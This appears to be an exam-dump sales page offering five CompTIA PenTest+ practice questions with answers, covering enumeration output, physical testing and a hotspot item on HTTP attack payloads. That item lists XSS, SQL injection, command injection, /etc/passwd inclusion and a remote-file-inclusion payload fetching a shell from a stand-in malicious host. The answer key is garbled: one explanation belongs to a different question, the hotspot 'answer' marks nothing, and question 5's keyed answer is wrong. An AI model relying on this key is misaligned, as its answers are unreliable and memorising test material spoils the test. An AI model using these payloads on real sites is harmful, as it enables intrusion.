PT0-002 Q&As

CompTIA PenTest+ Certification Exam

Pass CompTIA PT0-002 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.passapply.com/pt0-002.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

A. Asset inventory

B. DNS records

C. Web-application scan

D. Full scan

Correct Answer: A

QUESTION 2

After running the enum4linux.pl command, a penetration tester received the following output:

```
 ==========================================================
|    Enumerating Workgroup/Domain on 192.168.100.56       |
 ==========================================================
[+] Got domain/workgroup name: WORKGROUP
 ========================================
|    Session Check on 192.168.100.56     |
 ========================================
[+] Server 192.168.100.56 allows sessions using username '', password ''
 ============================================
|    Getting domain SID for 192.168.100.56   |
 ============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
 ============================================
|    Share Enumeration on 192.168.100.56     |
 ============================================
        Sharename Type Comment
        --------- ---- -------
        print$ Disk Printer Drivers
        web Disk File Server
        IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web    Mapping: OK, Listing: OK
//192.168.100.56/IPC$   [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

A. smbspool //192.160.100.56/print$

B. net rpc share-S 192.168.100.56-U \\'\\'

C. smbget //192.168.100.56/web-U \\'\\'

D. smbclient //192.168.100.56/web-U \\'\\'-N

Correct Answer: D

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

QUESTION 3

HOTSPOT

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Hot Area:

```
#inner-tab"><script>alert(1)</script>
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
site=www.exa'ping%20-c%2010%20localhost'mple.com
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
item=widget';waitfor%20delay%20'00:00:20';--
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
redir=http:%2f%2fwww.malicious-site.com
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
item=widget%20union%20select%20null,null,@@version;--
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
logfile=%2fetc%2fpasswd%00
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
search=Bob"%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
lookup=$(whoami)
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
item=widget'+convert(int,@@version)+'
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

```
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt
```

Command Injection	Parameterized queries
DOM-based Cross Site Scripting	Preventing external calls
SQL Injection (Error)	Input Sanitization .. , \ , / , sandbox requests
SQL Injection (Stacked)	Input Sanitization ', :, $, [,], (,),
SQL Injection (Union)	Input Sanitization *, ', <, :, >, -,
Reflected Cross Site Scripting	
Local File Inclusion	
Remote File Inclusion	
URL Redirect	

Correct Answer:

```
#inner-tab"><script>alert(1)</script>
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
site=www.exa'ping%20-c%2010%20localhost'mple.com
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
item=widget';waitfor%20delay%20'00:00:20';--
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
redir=http:%2f%2fwww.malicious-site.com
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
item=widget%20union%20select%20null,null,@@version;--
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
logfile=%2fetc%2fpasswd%00
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
search=Bob"%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
lookup=$(whoami)
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
item=widget'+convert(int,@@version)+'
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

```
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt
```

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .. , \ , / , sandbox requests
Input Sanitization ', :, $, [,], (,),
Input Sanitization *, ', <, :, >, -,

QUESTION 4

A penetration tester who is performing a physical assessment of a company\\'s security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

A. Badge cloning

B. Dumpster diving

C. Tailgating

D. Shoulder surfing

Correct Answer: B

QUESTION 5

Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester compromised?

A. To remove hash-cracking registry entries

B. To remove the tester-created Mimikatz account

C. To remove tools from the server

D. To remove a reverse shell from the system

Correct Answer: B